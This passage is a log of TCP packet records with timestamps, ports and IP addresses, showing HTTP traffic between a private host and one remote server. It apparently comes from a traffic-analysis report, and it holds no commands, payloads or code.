Oct 2, 2024 05:20:07.038799047 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.038810015 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038847923 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.038851023 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039083958 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039102077 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039113045 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039124012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039133072 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039134026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039141893 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039145947 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039172888 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039191961 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039484024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039494991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039505005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039516926 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039530993 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039547920 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039575100 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039602995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039614916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039627075 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039642096 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039644003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039652109 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039670944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039680958 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039812088 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039881945 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039891005 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039932966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039932966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.039979935 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.039990902 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040002108 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040011883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040044069 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040067911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040102005 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040102005 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040627003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040637970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040647984 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040677071 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040693045 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040719986 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040730953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040740967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040767908 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040788889 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040858984 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040869951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040879965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040891886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.040905952 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040927887 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.040971041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041012049 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041039944 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041050911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041062117 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041070938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041086912 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041111946 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041290045 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041342020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041357994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041384935 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041398048 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041429043 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041440010 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041450977 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041460991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041477919 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041491032 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041539907 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041755915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041796923 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041817904 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041829109 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041855097 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041874886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041888952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041899920 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041909933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.041934967 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041956902 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.041997910 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.043359995 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.048918962 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.048970938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049006939 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049021959 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049034119 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049067974 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049099922 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049109936 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049112082 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049120903 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049132109 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049134970 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049144030 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049166918 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049626112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049679041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049690008 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049715996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049727917 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049786091 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049797058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049808979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049819946 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.049823046 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049833059 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049854994 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.049875975 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050363064 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050394058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050405025 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050405025 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050424099 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050457954 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050510883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050523043 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050533056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050544024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050554037 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050575972 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050599098 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050621033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050661087 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050688982 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050698996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050724983 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050734997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050750017 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050760984 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050796032 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050801992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050813913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050838947 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050849915 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.050906897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050916910 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.050950050 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051222086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051232100 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051243067 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051264048 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051275969 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051309109 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051321030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051331997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051352978 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051377058 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051431894 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051444054 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051479101 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051495075 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051503897 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051505089 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051532030 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051542997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051568031 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051578045 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051589012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051599026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051613092 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051636934 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051721096 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051733017 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.051759958 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.051781893 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.118644953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.118658066 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.118686914 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.118705988 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.118716955 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.118722916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.118762016 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.118791103 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.118801117 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.118812084 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.118829966 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.118849039 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.128974915 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.128992081 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.128999949 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129039049 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129039049 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129050016 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129060030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129070044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129086018 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129095078 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129113913 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129168987 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129179955 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129189968 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129204988 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129229069 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129312038 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129323006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129333973 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129343033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129371881 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129371881 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129425049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129435062 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129445076 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129468918 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129481077 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129563093 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129579067 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129587889 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129597902 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129609108 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129626989 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129703999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129714012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129724026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129745007 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129767895 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.129793882 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129803896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.129836082 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130036116 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130054951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130064964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130078077 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130089998 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130110979 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130170107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130179882 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130188942 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130213022 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130237103 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130264997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130541086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130551100 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130563021 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130573034 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130592108 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130597115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130609035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130619049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130641937 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130651951 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130712032 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130722046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.130745888 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.130757093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131182909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131221056 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131231070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131241083 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131252050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131269932 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131294012 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131309986 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131321907 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131349087 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131359100 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131402969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131413937 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131437063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131449938 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131467104 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131477118 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131488085 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131598949 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131609917 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131618977 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131618977 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131618977 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131629944 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131642103 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131647110 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131669998 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.131805897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131815910 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.131853104 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.180299044 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.185101032 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356302023 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356323004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356334925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356345892 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356355906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356369019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356373072 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356373072 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356400967 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356426001 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356437922 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356451988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356462002 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356483936 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356635094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356645107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356656075 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356666088 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356676102 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356686115 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356686115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356698990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356699944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356719017 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356739044 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356796026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356868982 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356889963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356900930 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356910944 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356920958 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356931925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356940031 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356942892 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.356967926 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.356981993 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357122898 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357132912 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357142925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357155085 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357163906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357171059 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357177019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357183933 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357213020 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:07.357247114 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:07.357290030 CEST	49775	80	192.168.2.4	46.8.231.109
